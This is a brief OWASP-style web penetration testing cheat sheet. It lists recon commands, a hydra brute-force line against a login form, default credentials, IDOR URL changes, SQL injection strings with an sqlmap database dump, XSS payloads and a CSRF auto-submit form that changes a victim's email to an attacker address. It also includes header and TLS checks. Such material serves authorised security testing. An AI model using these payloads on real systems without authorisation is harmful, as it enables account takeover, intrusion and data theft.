Web security testing guide based on OWASP methodology, covering key tests for each Top 10 category.
whatweb http://target.com
gobuster dir -u http://target.com -w big.txt -x php,html,js
curl http://target.com/robots.txt
hydra -l admin -P rockyou.txt target.com http-post-form \
"/login:user=^USER^&pass=^PASS^:Invalid"
# Default creds: admin:admin | root:root | test:test
# JWT: decode at jwt.io, try alg=none attack
GET /api/users/1/profile β change to /api/users/2/profile
GET /download?file=invoice_001.pdf β invoice_002.pdf
' # SQL error = vulnerable
' OR '1'='1 # Returns all records
sqlmap -u "http://target.com/search?q=1" --dbs
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<form action="http://target.com/change-email" method="POST">
<input name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>
curl -I https://target.com
# Check: Strict-Transport-Security, X-Content-Type-Options,
# X-Frame-Options, Content-Security-Policy
# Verify at: https://securityheaders.com/
nmap --script ssl-enum-ciphers -p 443 target.com
# Verify: TLS 1.2/1.3 enabled | TLS 1.0/1.1/SSL disabled
# Check at: https://www.ssllabs.com/ssltest/